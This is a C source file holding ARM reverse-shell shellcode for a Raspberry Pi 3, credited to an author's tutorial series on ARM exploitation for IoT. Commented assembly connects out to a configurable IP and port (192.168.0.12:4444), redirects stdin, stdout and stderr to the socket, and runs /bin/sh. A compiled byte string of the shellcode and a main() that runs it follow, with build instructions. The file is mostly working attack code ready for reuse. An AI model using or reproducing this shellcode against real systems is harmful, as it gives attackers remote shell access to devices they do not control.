/*
 
##################################
# Andrea Sindoni - @invictus1306 #
##################################
 
This schellcode is part of my episodes:
- ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/
 
Enviroment: Raspberry pi 3
 
Default settings for port:4444 ip:192.168.0.12
 
.global _start
_start:
 
  mov    r1, #0x5C            @ r1=0x5c
  mov    r5, #0x11            @ r5=0x11 
  mov    r1, r1, lsl #24      @ r1=0x5c000000
  add    r1, r1, r5, lsl #16  @ r1=0x5c110000 - port number=4444(0x115C) -- please change me
  add    r1, #2               @ r1=0x5c110002 - sin_family+sin_port
  ldr    r2, =#0x0c00a8c0     @ sin_addr=192.168.0.12 each octet is represented by one byte -- please change me
  push   {r1, r2}             @ push into the stack r1 and r2
  mov    r1, sp               @ save pointer to sockaddr_in struct
  
  mov   r2, #0x10             @ addrlen
  mov   r0, r6                @ mov sockfd into r0
  ldr   r7, =#283             @ connect syscall
  swi   0 
 
  @ Redirect stdin, stdout and stderr via dup2 
  mov    r1, #2              @ counter stdin(0), stdout(1) and stderr(2)
  loop:
    mov    r0, r6            @ mov sockfd into r0
    mov    r7, #63           @ dup2 syscall
    swi    0    
    sub    r1, r1, #1        @ decrement counter
    cmp    r1, #-1           @ compare r1 with -1
    bne    loop              @ if the result is not equal jmp to loop
 
  @ int execve(const char *filename, char *const argv[],char *const envp[]);
 
  mov    r0, pc
  add    r0, #32
  sub    r2, r2, r2
  push   {r0, r2}
  mov    r1, sp
  mov    r7, #11
  swi    0
 
_exit:
  mov    r0, #0
  mov    r7, #1
  swi    0           @ exit(0)
 
shell:    .asciz "/bin/sh"
 
 
Assemble and link it:
as -o reverse_shell.o reverse_shell.s
ld -o reverse_shell reverse_shell.o
*/
 
#include <stdio.h>
 
char *code= "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00";
 
int main(void) {
  (*(void(*)()) code)();
  return 0;
}